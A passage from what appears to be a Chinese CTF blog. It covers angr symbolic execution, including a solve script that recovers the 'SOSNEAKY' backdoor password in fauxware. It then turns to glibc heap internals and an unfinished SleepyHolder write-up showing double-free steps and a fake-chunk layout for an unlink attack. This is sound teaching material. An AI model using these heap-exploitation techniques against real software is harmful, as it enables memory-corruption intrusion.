class="number">1</span>);</span><br><span class="line"></span><br><span class="line"> authed = authenticate(username, password);</span><br><span class="line"> <span class="keyword">if</span> (authed) accepted();</span><br><span class="line"> <span class="keyword">else</span> rejected();</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>这里程序给出了一个很简单的逻辑,具体是我们只要输入<code>password</code>为<code>"SOSNEAKY"</code>就可以直接认证通过</p>
<p>然后这里是angr官网给出的<a href="https://github.com/angr/angr-doc/blob/master/examples/fauxware/solve.py" target="_blank" rel="noopener">solve.py</a>,我在其中注释处做了一些补充笔记</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> angr</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line"><span class="comment"># Look at fauxware.c! This is the source code for a "faux firmware" (@zardus</span></span><br><span class="line"><span class="comment"># really likes the puns) that's meant to be a simple representation of a</span></span><br><span class="line"><span class="comment"># firmware that can authenticate users but also has a backdoor - the backdoor</span></span><br><span class="line"><span class="comment"># is that anybody who provides the string "SOSNEAKY" as their password will be</span></span><br><span class="line"><span class="comment"># automatically authenticated.</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">basic_symbolic_execution</span><span class="params">()</span>:</span></span><br><span class="line"> <span class="comment"># We can use this as a basic demonstration of using angr for symbolic</span></span><br><span class="line"> <span class="comment"># execution. First, we load the binary into an angr project.</span></span><br><span class="line"> <span class="comment"># 这里先展示了一个很基础的符号执行,首先把对应的binary文件名填进一个angr Project</span></span><br><span class="line"> p = angr.Project(<span class="string">'eg1'</span>,load_options={<span class="string">"auto_load_libs"</span>: <span class="literal">False</span>})</span><br><span class="line"> <span class="comment"># 这里我加上了 "load_options={"auto_load_libs": False}"</span></span><br><span class="line"> <span class="comment"># 在load了Project之后可以用p.loader.all_objects查看所有加载器已加载的对象</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># Now, we want to construct a representation of symbolic program state.</span></span><br><span class="line"> <span class="comment"># SimState objects are what angr manipulates when it symbolically executes</span></span><br><span class="line"> <span class="comment"># binary code.</span></span><br><span class="line"> <span class="comment"># SimState对象也主要保存着程序运行到某一阶段的状态信息。通过这个对象可以操作某一运行状态的上下文信息</span></span><br><span class="line"> <span class="comment"># 比如内存,寄存器等</span></span><br><span class="line"> </span><br><span class="line"> <span class="comment"># 可以通过Project.factory这个容器中的任何一个方法来获取SimState对象,这个factory有多个构造函数</span></span><br><span class="line"> <span class="comment"># 如:block、entry_state等。这里使用entry_state返回一个初始化到二进制entry point的SimState对象</span></span><br><span class="line"> <span class="comment"># The entry_state constructor generates a SimState that is a very generic</span></span><br><span class="line"> <span class="comment"># representation of the possible program states at the program's entry</span></span><br><span class="line"> <span class="comment"># point. entry_state 主要是做一些初始化工作,然后在程序的入口处停下</span></span><br><span class="line"> <span class="comment"># There are more constructors, like blank_state, which constructs a</span></span><br><span class="line"> <span class="comment"># "blank slate" state that specifies as little concrete data as possible,</span></span><br><span class="line"> <span class="comment"># or full_init_state, which performs a slow and pedantic initialization of</span></span><br><span class="line"> <span class="comment"># program state as it would execute through the dynamic loader.</span></span><br><span class="line"> <span class="comment"># 其中 full_init_state 会从动态链接时开始就记录</span></span><br><span class="line"></span><br><span class="line"> state = p.factory.entry_state()</span><br><span class="line"> <span class="comment"># state对象一般是作为 符号执行开始前创建用来为后续的执行初始化一些数据,比如栈状态,寄存器值。</span></span><br><span class="line"> <span class="comment"># 或者在 路径探索结束后 返回一个 state 对象供用户提取需要的值或进行约束求解</span></span><br><span class="line"> <span class="comment"># 解出到达目标分支所使用的符号量的值。</span></span><br><span class="line"> </span><br><span class="line"> <span class="comment"># 当然了解了符号执行的概念之后就知道为什么有时候要默认在程序入口点停下了,毕竟我们暂时要分析的是程序的执行流</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># Now, in order to manage the symbolic execution process from a very high</span></span><br><span class="line"> <span class="comment"># level, we have a SimulationManager. SimulationManager is just collections</span></span><br><span class="line"> <span class="comment"># of states with various tags attached with a number of convenient</span></span><br><span class="line"> <span class="comment"># interfaces for managing them.</span></span><br><span class="line"></span><br><span class="line"> sm = p.factory.simulation_manager(state)</span><br><span class="line"> <span class="comment"># 根据state设置 Simulation Managers ,这是一个进行路径探索的对象</span></span><br><span class="line"> <span class="comment"># Uncomment the following line to spawn an IPython shell when the program</span></span><br><span class="line"> <span class="comment"># gets to this point so you can poke around at the four objects we just</span></span><br><span class="line"> <span class="comment"># constructed. Use tab-autocomplete and IPython's nifty feature where if</span></span><br><span class="line"> <span class="comment"># you stick a question mark after the name of a function or method and hit</span></span><br><span class="line"> <span class="comment"># enter, you are shown the documentation string for it.</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># import IPython; IPython.embed()</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># Now, we begin execution. This will symbolically execute the program until</span></span><br><span class="line"> <span class="comment"># we reach a branch statement for which both branches are satisfiable.</span></span><br><span class="line"></span><br><span class="line"> sm.run(until=<span class="keyword">lambda</span> sm_: len(sm_.active) > <span class="number">1</span>)</span><br><span class="line"> <span class="comment"># 此示例代码采用的方法是用Simulation Managers的run方法</span></span><br><span class="line"> <span class="comment"># 执行刚好出现 2个分支时就执行完毕,也就是我们后门函数的那个if条件被触发,此时程序产生两个执行分支,随即停止</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># If you look at the C code, you see that the first "if" statement that the</span></span><br><span class="line"> <span class="comment"># program can come across is comparing the result of the strcmp with the</span></span><br><span class="line"> <span class="comment"># backdoor password. So, we have halted execution with two states, each of</span></span><br><span class="line"> <span class="comment"># which has taken a different arm of that conditional branch. If you drop</span></span><br><span class="line"> <span class="comment"># an IPython shell here and examine sm.active[n].solver.constraints</span></span><br><span class="line"> <span class="comment"># you will see the encoding of the condition that was added to the state to</span></span><br><span class="line"> <span class="comment"># constrain it to going down this path, instead of the other one. These are</span></span><br><span class="line"> <span class="comment"># the constraints that will eventually be passed to our constraint solver</span></span><br><span class="line"> <span class="comment"># (z3) to produce a set of concrete inputs satisfying them.</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># As a matter of fact, we'll do that now.</span></span><br><span class="line"></span><br><span class="line"> input_0 = sm.active[<span class="number">0</span>].posix.dumps(<span class="number">0</span>)</span><br><span class="line"> input_1 = sm.active[<span class="number">1</span>].posix.dumps(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># We have used a utility function on the state's posix plugin to perform a</span></span><br><span class="line"> <span class="comment"># quick and dirty concretization of the content in file descriptor zero,</span></span><br><span class="line"> <span class="comment"># stdin. One of these strings should contain the substring "SOSNEAKY"!</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># 当然这里也可以选择把所有分支都打印出来看看,代码:</span></span><br><span class="line"> <span class="comment"># for i in range(len(pathgroup.active)):</span></span><br><span class="line"> <span class="comment"># print "possible %d: " % i, pathgroup.active[i].state.posix.dumps(0)</span></span><br><span class="line"> <span class="comment"># 此时dump的就是字符串str</span></span><br><span class="line"> <span class="keyword">if</span> <span class="string">b'SOSNEAKY'</span> <span class="keyword">in</span> input_0:</span><br><span class="line"> <span class="keyword">return</span> input_0</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">return</span> input_1</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">test</span><span class="params">()</span>:</span></span><br><span class="line"> r = basic_symbolic_execution()</span><br><span class="line"> <span class="keyword">assert</span> <span class="string">b'SOSNEAKY'</span> <span class="keyword">in</span> r</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> sys.stdout.buffer.write(basic_symbolic_execution())</span><br><span class="line"></span><br><span class="line"><span class="comment"># You should be able to run this script and pipe its output to fauxware and</span></span><br><span class="line"><span class="comment"># fauxware will authenticate you.</span></span><br></pre></td></tr></table></figure>
<p>其中在创建Project时有这么一个点要注意一下</p>
<blockquote>
<p>auto_load_libs 设置是否自动载入依赖的库,如果设置为 True 的话会自动载入依赖的库,然后分析到库函数调用时也会进入库函数,这样会增加分析的工作量,也有能会跑挂</p>
</blockquote>
<p>eg1的第二个solve代码:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">proj = angr.Project(<span class="string">'eg1'</span>)</span><br><span class="line">state = proj.factory.entry_state()</span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> succ = state.step() <span class="comment"># 一次step记录一次执行分支的state</span></span><br><span class="line"> <span class="keyword">if</span> len(succ.successors) == <span class="number">2</span>:<span class="comment">#这个代码的意思也是在产生两个分支时停下,打印输出用上面代码的注释那段就好</span></span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> state = succ.successors[<span class="number">0</span>]</span><br><span class="line">state1, state2 = succ.successors</span><br></pre></td></tr></table></figure>
<p>这里step函数的返回值是 “an object called <a href="http://angr.io/api-doc/angr.html#module-angr.engines.successors" target="_blank" rel="noopener">SimSuccessors</a>“</p>
<p>当然这里写法还有很多很多,具体强烈推荐参考<a href="https://docs.angr.io/core-concepts/pathgroups" target="_blank" rel="noopener">官方文档</a>,还有<a href="http://angr.io/api-doc/angr.html" target="_blank" rel="noopener">官方API文档</a>,本博客在文末板块会尽量更新一下CTF中碰到的用法,限于英语原因很多原文中的<code>core conception</code>可能本人理解会有误</p>
<p>博主写到这里暂时感觉最好用的函数是这几个:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">simgr.step()<span class="comment">#这个就是上面代码中的,一个分支一个分支的记录也好像挺好用2333</span></span><br><span class="line"></span><br><span class="line">sm.explore(find=<span class="number">0x400591</span>) <span class="comment"># 这个是直接设置符号执行遍历到哪个代码块停下来,很好用</span></span><br><span class="line"></span><br><span class="line">simgr.explore(find=<span class="keyword">lambda</span> s: <span class="string">b"Congrats"</span> <span class="keyword">in</span> s.posix.dumps(<span class="number">1</span>))<span class="comment">#这个是用标准输出中输出了什么来判断,直接用起来也很无脑</span></span><br></pre></td></tr></table></figure>
<h2 id="此道逆向题的angr解法"><a href="#此道逆向题的angr解法" class="headerlink" title="此道逆向题的angr解法"></a>此道逆向题的angr解法</h2><p>中间这些state操作建议先参考文末的设置&变量用法</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> angr</span><br><span class="line"><span class="keyword">import</span> claripy</span><br><span class="line"></span><br><span class="line">p = angr.Project(<span class="string">"./funre"</span>, load_options={<span class="string">"auto_load_libs"</span>: <span class="literal">False</span>})</span><br><span class="line">f = p.factory</span><br><span class="line">state = f.entry_state(addr=<span class="number">0x400605</span>) <span class="comment"># 设置state开始运行时运行到的地址</span></span><br><span class="line">flag = claripy.BVS(<span class="string">"flag"</span>, <span class="number">8</span>*<span class="number">32</span>) <span class="comment">#这里设置了一个flag VBS,长度是8*32bit</span></span><br><span class="line">state.memory.store(<span class="number">0x603055</span>+<span class="number">0x300</span>+<span class="number">5</span>, flag) <span class="comment">#因为程序没有输入,所以直接把字符串设置到内存</span></span><br><span class="line">state.regs.rdx = <span class="number">0x603055</span>+<span class="number">0x300</span> </span><br><span class="line">state.regs.rdi = <span class="number">0x603055</span>+<span class="number">0x300</span>+<span class="number">5</span> <span class="comment"># 然后设置两个寄存器</span></span><br><span class="line"></span><br><span class="line">sm = p.factory.simulation_manager(state) <span class="comment"># 准备从该state开始遍历执行路径</span></span><br><span class="line"></span><br><span class="line">print(<span class="string">"[+] init ok"</span>)</span><br><span class="line"></span><br><span class="line">sm.explore(find=<span class="number">0x401DAE</span>) <span class="comment"># 遍历到成功的地址</span></span><br><span class="line"><span class="keyword">if</span> sm.found:</span><br><span class="line"> print(<span class="string">"[+] found!"</span>)</span><br><span class="line"> x = sm.found[<span class="number">0</span>].solver.eval(flag, cast_to=bytes)</span><br><span class="line"> print(x)</span><br></pre></td></tr></table></figure>
<p>我跑下来大概只用了一两分钟时间不到?不过貌似还能加速,这里也介绍一下加速要用到的东西</p>
<h2 id="加速模块安装"><a href="#加速模块安装" class="headerlink" title="加速模块安装"></a>加速模块安装</h2><hr>
<p>注意这里安装的方法本人安装失败了…介于之前装崩python的原因就暂时不继续探究原因了,只不过好像是一个什么版本的问题,具体参考<a href="https://www.secpulse.com/archives/83197.html" target="_blank" rel="noopener">这篇文章</a>末尾</p>
<ol>
<li><code>sudo apt install pypy</code></li>
<li><code>wget https://bootstrap.pypa.io/get-pip.py</code></li>
<li><code>sudo pypy get-pip.py</code></li>
</ol>
<hr>
<p>第二种方法就是在init_state时加上<code>add_options=angr.options.unicorn</code></p>
<h1 id="angr中碰到的一些设置-amp-变量用法"><a href="#angr中碰到的一些设置-amp-变量用法" class="headerlink" title="angr中碰到的一些设置&变量用法"></a>angr中碰到的一些设置&变量用法</h1><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">################## 设置操作</span></span><br><span class="line">state.solver.BVV(<span class="number">1</span>, <span class="number">64</span>) <span class="comment"># 设置一个Bitvector 第一个参数是初始值 第二个参数是长度 也可以用下面简单的写法</span></span><br><span class="line"></span><br><span class="line">args = claripy.BVS(<span class="string">"args"</span>, <span class="number">8</span> * <span class="number">16</span>) <span class="comment"># 用claripy包设置一个符号变量(十六进制字符串)</span></span><br><span class="line"></span><br><span class="line">weird_nine.zero_extend(<span class="number">64</span> - <span class="number">27</span>) <span class="comment"># Bitvector长度转换 这里示意是从27->64</span></span><br><span class="line"></span><br><span class="line">p.hook(addr=<span class="number">0x08048485</span>, hook=hook_demo, length=<span class="number">2</span>) <span class="comment"># 设置一个hook,address是执行到什么地方之后hook,hook_demo代表一个函数,length是hook_demo执行之后需要跳过的指令长度</span></span><br><span class="line"><span class="comment">#具体的hook操作在以后会慢慢写到</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">################## state操作</span></span><br><span class="line">state.regs.X <span class="comment"># X代表要操作的寄存器,这里可以设置寄存器的值,此时寄存器的类型是一个Bitvector</span></span><br><span class="line"></span><br><span class="line">hex(state.se.eval(state.regs.X)) <span class="comment"># 想要获取寄存器Bitvector的int值需要使用eval函数来获取 BVS同理</span></span><br><span class="line"></span><br><span class="line">state.mem[state.regs.rsp].qword <span class="comment"># 获取某个寄存器指向的内存 可以看到这里mem的参数也是BVV</span></span><br><span class="line"> <span class="comment"># 但是返回值是类似这种:<uint64_t <BV64 0xdeadbeefdeadbeef> at 0x7fffffffffeff78></span></span><br><span class="line">state.se.eval(xxx.qword.resolved) <span class="comment"># 通过eval拿到此地址对应类型的确切值</span></span><br><span class="line"></span><br><span class="line">state.memory.store(state.regs.rsp,data) </span><br><span class="line">state.memory.load(state.regs.rsp, <span class="number">0x40</span>) <span class="comment"># 这里可以直接通过地址来进行存储不一定要寄存器,满足BVV的操作就行</span></span><br><span class="line"></span><br><span class="line">state.posix.dumps(<span class="number">0</span>) <span class="comment"># dump运行时标准输入</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">################# SimulationManager操作</span></span><br><span class="line">sm = p.factory.simgr(state)</span><br><span class="line">sm.explore(find=<span class="number">0x400591</span>)</span><br><span class="line">st = sm.found[<span class="number">0</span>] <span class="comment"># 通过found[0]拿到的是此时的state,可以再通过上面state的操作dump标准输入</span></span><br><span class="line"></span><br><span class="line">st.se.eval(args,cast_to=str) <span class="comment"># 当然如果用到了 BVS 的话就可以使用cast_to来转成普通字符串了</span></span><br></pre></td></tr></table></figure>
<hr>
<blockquote>
<p>参考文章:<a href="https://www.secpulse.com/archives/83197.html" target="_blank" rel="noopener">https://www.secpulse.com/archives/83197.html</a></p>
</blockquote>
]]></content>
<tags>
<tag>angr</tag>
</tags>
</entry>
<entry>
<title>how2heap - fastbin_dup_consolidate&SleepyHolder</title>
<url>/2020/01/31/how2heap-fastbin-dup-consolidate-SleepyHolder/</url>
<content><![CDATA[<h1 id="how2heap-fastbin-dup-consolidate-amp-SleepyHolder"><a href="#how2heap-fastbin-dup-consolidate-amp-SleepyHolder" class="headerlink" title="how2heap - fastbin_dup_consolidate&SleepyHolder"></a>how2heap - fastbin_dup_consolidate&SleepyHolder</h1><h1 id="fastbin-dup-consolidate"><a href="#fastbin-dup-consolidate" class="headerlink" title="fastbin_dup_consolidate"></a>fastbin_dup_consolidate</h1><p>写这个题之前先学习了很多前置知识,简略的写一下</p>
<p>how2heap上的 fastbin_dup_consolidate.c:</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdint.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">void</span>* p1 = <span class="built_in">malloc</span>(<span class="number">0x40</span>);</span><br><span class="line"> <span class="keyword">void</span>* p2 = <span class="built_in">malloc</span>(<span class="number">0x40</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Allocated two fastbins: p1=%p p2=%p\n"</span>, p1, p2);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now free p1!\n"</span>);</span><br><span class="line"> <span class="built_in">free</span>(p1);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">void</span>* p3 = <span class="built_in">malloc</span>(<span class="number">0x400</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Allocated large bin to trigger malloc_consolidate(): p3=%p\n"</span>, p3);<span class="comment">//Here</span></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"In malloc_consolidate(), p1 is moved to the unsorted bin.\n"</span>);</span><br><span class="line"> <span class="built_in">free</span>(p1);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Trigger the double free vulnerability!\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"We can pass the check in malloc() since p1 is not fast top.\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n"</span>, <span class="built_in">malloc</span>(<span class="number">0x40</span>), <span class="built_in">malloc</span>(<span class="number">0x40</span>));</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>看这段源码时有一段话:<em>Allocated large bin to trigger malloc_consolidate()</em>,暂时不懂这个是什么所以查阅了很多资料</p>
<h2 id="malloc-consolidate:"><a href="#malloc-consolidate:" class="headerlink" title="malloc_consolidate:"></a><strong>malloc_consolidate:</strong></h2><p> 对于malloc_consolidate函数,<code>malloc_consolidate()</code> 是 <code>free()</code> 的一个小的变体,专门用于<strong>处理 fastbin 中的空闲 chunk</strong>。同时还负责<strong>堆管理的初始化工作</strong></p>
<p><strong>未初始化:</strong></p>
<p> 进入 <code>malloc_consolidate()</code> ,首先通过 <code>get_max_fast()</code> 判断当前堆是否已经初始化。当进程第一次调用 <code>malloc()</code> 申请分配的时候,<code>get_max_fast()</code> 返回值等于 0,此时会进行堆的初始化工作</p>
<p> 在 <code>malloc_init_state()</code> 里会进行堆的初始化工作,并且会调用<code>set_max_fast()</code> 设置 <code>global_max_fast</code> 为 DEFAULT_MXFAST ,DEFAULT_MXFAST 在 32 位系统上为 64,在 64 位系统上为 128。因而在以后进入 <code>malloc_consolidate()</code> 的时候 <code>get_max_fast()</code> 返回值都不会等于 0,保证不会重复进行堆的初始化工作</p>
<p><strong>已初始化:</strong></p>
<p> 如果 <code>get_max_fast()</code> 返回值不等于 0,说明堆已经初始化,接下来就将 fastbin 中的每一个 chunk 合并整理到 unsorted_bin 或 top_chunk。</p>
<p> 其中对每一个 chunk,首先尝试向后合并,然后调用 <code>unlink()</code> 宏将后方 chunk 从其链接的 bin 中脱链(<em>然后看到这里又去查阅了很多向前合并和向后合并的知识,具体见下文</em>)</p>
<ol>
<li>若 <code>get_max_fast()</code> 返回 0,则进行堆的初始化工作,然后进入第 7 步</li>
<li>从 fastbin 中获取一个空闲 chunk</li>
<li>尝试向后合并</li>
<li>尝试向前合并,若向前相邻 top_chunk,则直接合并到 top_chunk,然后进入第 6 步</li>
<li>否则向前合并后,插入到 unsorted_bin 中</li>
<li>获取下一个空闲 chunk,回到第 2 步,直到所有 fastbin 清空后进入第 7 步</li>
<li>退出函数</li>
</ol>
<p>原文链接:<a href="https://blog.csdn.net/plus_re/article/details/79265805" target="_blank" rel="noopener">https://blog.csdn.net/plus_re/article/details/79265805</a></p>
<h2 id="向后合并:"><a href="#向后合并:" class="headerlink" title="向后合并:"></a><strong>向后合并:</strong></h2><ul>
<li>检查p指向chunk的size字段的pre_inuse位,是否为0(也就是检查当前chunk的前一块chunk是否是free的,如果是则进入向前合并的流程)</li>
<li>获取前一块chunk的size,并加到size中(以此来表示size大小上已经合并)</li>
<li>根据当前chunk的presize来获得指向前一块chunk的指针</li>
<li>将这个指针传入unlink的宏(也就是让free掉的chunk的前一块chunk进入到unlink流程)</li>
</ul>
<h2 id="向前合并:"><a href="#向前合并:" class="headerlink" title="向前合并:"></a><strong>向前合并:</strong></h2><p>如果free掉的chunk相邻的下一块chunk (下面用nextchunk表示,并且nextsize表示它的大小) 不是topchunk,并且是free的话就进入向前合并的流程。</p>
<p>如果nextchunk不是free的,则修改他的size字段的pre_inuse位。<br>如果nextchunk是topchunk则和topchunk进行合并。</p>
<p>ps:检测nextchunk是否free,是通过 <code>inuse_bit_at_offset(nextchunk, nextsize)</code> 来<strong>获得nextchunk的相邻下一块chunk的size字段的presize位实现的</strong>。</p>
<p>向前合并流程:</p>
<ul>
<li>让nextchunk进入unlink流程</li>
<li>给size加上nextsize(同理也是表示大小上两个chunk已经合并了)</li>
</ul>
<p>原文链接:<a href="https://bbs.ichunqiu.com/thread-46614-1-1.html?from=bkyl" target="_blank" rel="noopener">https://bbs.ichunqiu.com/thread-46614-1-1.html?from=bkyl</a></p>
<p>接着又学到了<code>unlink()</code>的一些东西</p>
<h2 id="unlink:"><a href="#unlink:" class="headerlink" title="unlink:"></a><strong>unlink:</strong></h2><p>把源码一拖稍微缕了缕,大致如下:</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">unlink(AV, P, BK, FD)<span class="comment">//P是指向本chunk的指针</span></span><br><span class="line">{</span><br><span class="line"> <span class="keyword">if</span> (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), <span class="number">0</span>))</span><br><span class="line"> malloc_printerr (<span class="string">"corrupted size vs. prev_size"</span>);</span><br><span class="line"> <span class="comment">//检查本chunk的size和next chunk的prev_size段是否相等,排除了fast chunk</span></span><br><span class="line"></span><br><span class="line"> FD = P->fd;<span class="comment">//P+0x10</span></span><br><span class="line"> BK = P->bk;<span class="comment">//P+0x18 FD和BK分别指向forward chunk和back chunk</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (__builtin_expect (FD->bk != P || BK->fd != P, <span class="number">0</span>))</span><br><span class="line"> malloc_printerr (<span class="string">"corrupted double-linked list"</span>);</span><br><span class="line"> <span class="comment">//检查前chunk的bk和后chunk的fd是否与P相等</span></span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> FD->bk = BK;</span><br><span class="line"> BK->fd = FD;<span class="comment">//链表的卸下操作</span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> (!in_smallbin_range (chunksize_nomask (P))&&</span><br><span class="line"> __builtin_expect (P->fd_nextsize != <span class="literal">NULL</span>, <span class="number">0</span>))<span class="comment">//当链表为large bin且fd_nextsize不为空</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (__builtin_expect (P->fd_nextsize->bk_nextsize != P, <span class="number">0</span>)</span><br><span class="line"> || __builtin_expect (P->bk_nextsize->fd_nextsize != P, <span class="number">0</span>))</span><br><span class="line"> malloc_printerr (<span class="string">"corrupted double-linked list (not small)"</span>);</span><br><span class="line"> <span class="comment">//检查前chunk的bk_nextsize和后chunk的fd_nextsize是否与P相等</span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> (FD->fd_nextsize == <span class="literal">NULL</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (P->fd_nextsize == P) FD->fd_nextsize = FD->bk_nextsize = FD;</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> FD->fd_nextsize = P->fd_nextsize;</span><br><span class="line"> FD->bk_nextsize = P->bk_nextsize;</span><br><span class="line"> P->fd_nextsize->bk_nextsize = FD;</span><br><span class="line"> P->bk_nextsize->fd_nextsize = FD;</span><br><span class="line"> } </span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span>{</span><br><span class="line"> P->fd_nextsize->bk_nextsize = P->bk_nextsize;</span><br><span class="line"> P->bk_nextsize->fd_nextsize = P->fd_nextsize;} </span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>这其中对于large chunk中<code>fd_nextsize</code>还有<code>bk_nextsize</code>的一些利用解释起来有点多</p>
<p>给个链接自己以后方便查阅吧:<a href="https://blog.csdn.net/Plus_RE/article/details/79270350" target="_blank" rel="noopener">https://blog.csdn.net/Plus_RE/article/details/79270350</a></p>
<h2 id="Debug"><a href="#Debug" class="headerlink" title="Debug"></a>Debug</h2><p>接下来自己debug一下fastbin_dup_consolidate.c</p>
<p><strong>free掉p1之后:</strong></p>
<img src="/2020/01/31/how2heap-fastbin-dup-consolidate-SleepyHolder/1580374267214.png" width="60%" height="60%">
<p>然后malloc一个large chunk触发<code>malloc_consolidate()</code>,我这里和how2heap上不同的是这个fast chunk被放入了<code>smallbins</code>而不是<code>unsortedbin</code>,不过好像对于double free的利用暂无大碍(此处待深入)</p>
<img src="/2020/01/31/how2heap-fastbin-dup-consolidate-SleepyHolder/1580375108795.png" width="60%" height="60%">
<p>再次调用<code>free(p1)</code></p>
<img src="/2020/01/31/how2heap-fastbin-dup-consolidate-SleepyHolder/1580375318508.png" width="60%" height="60%">
<p>此时在fastbins还有smallbins中都存在这个chunk,从而在<code>malloc(0x40)</code>两次时double free的利用被触发,先取fastbin、再取smallbin</p>
<h1 id="SleepyHolder"><a href="#SleepyHolder" class="headerlink" title="SleepyHolder"></a>SleepyHolder</h1><h2 id="程序分析"><a href="#程序分析" class="headerlink" title="程序分析"></a>程序分析</h2><img src="/2020/01/31/how2heap-fastbin-dup-consolidate-SleepyHolder/1580375767478.png" width="70%" height="70%">
<p>一上来先malloc了一个size随机的chunk,然后进入正常的菜单</p>
<h3 id="Keep"><a href="#Keep" class="headerlink" title="Keep"></a>Keep</h3><img src="/2020/01/31/how2heap-fastbin-dup-consolidate-SleepyHolder/1580375954105.png" width="60%" height="60%">
<p>选择一个固定大小的small、big、huge大小的secret,然后calloc,对应的每个secret只能calloc一次,然后把ptr存在bss段上,通过记录来实现无法多次calloc</p>
<img src="/2020/01/31/how2heap-fastbin-dup-consolidate-SleepyHolder/1580377392403.png" width="80%" height="80%">
<h3 id="Wipe"><a href="#Wipe" class="headerlink" title="Wipe"></a>Wipe</h3><img src="/2020/01/31/how2heap-fastbin-dup-consolidate-SleepyHolder/1580384309728.png" width="50%" height="50%">
<p>选择small、big secret来free(没有huge),并清除记录,没有清除ptr,也没有检查是using or not</p>
<h3 id="Renew"><a href="#Renew" class="headerlink" title="Renew"></a>Renew</h3><img src="/2020/01/31/how2heap-fastbin-dup-consolidate-SleepyHolder/1580384570255.png" width="50%" height="50%">
<p>选择small、big secret,检查标记后通过read renew</p>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><p>首先keep一个small secret,然后keep一个big secret(防止wipe时small secret被merge到top_chunk中去),wipe small secret使其链入fastbin之后keep一个huge secret(trigger malloc_consolidate),这时small secret进入smallbins(并且big secret的prev_inuse位被更改,使得后续进行unlink利用),第二次wipe small secret,构成double free(主要是为了keep一次small secret之后big secret的prev_inuse不被更改,而又能对small secret进行操作),代码&heap图如下所示</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">keep(<span class="number">1</span>,<span class="string">'aaaaaaaa'</span>)<span class="comment">#keep small secret</span></span><br><span class="line">keep(<span class="number">2</span>,<span class="string">'bbbbbbbb'</span>)<span class="comment">#keep big secret</span></span><br><span class="line">wipe(<span class="number">1</span>)<span class="comment">#wipe small</span></span><br><span class="line">keep(<span class="number">3</span>,<span class="string">'cccccccc'</span>)<span class="comment">#keep huge</span></span><br><span class="line">wipe(<span class="number">1</span>)<span class="comment">#wipe small Double freed now</span></span><br></pre></td></tr></table></figure>
<img src="/2020/01/31/how2heap-fastbin-dup-consolidate-SleepyHolder/1580473233821.png" width="50%" height="50%">
<p>接着keep small secret,填入一个fake chunk,接下来会wipe big secret,此时prev_inuse依然为0(因为fastbin里面的操作不会修改这个位),会向后合并这个fake chunk并trigger unlink,为了绕过unlink的检测机制,我们现在在bss段上刚好有一个指向这个fake chunk的指针——small_ptr(即这个chunk data部分的指针),所以根据fd和bk指针的偏移,fake chunk填入的内容应该是p64(0)+p64(0x21)+p64(&small_ptr-0x18)+p64(&small_ptr-0x10)+p64(0x20)</p>
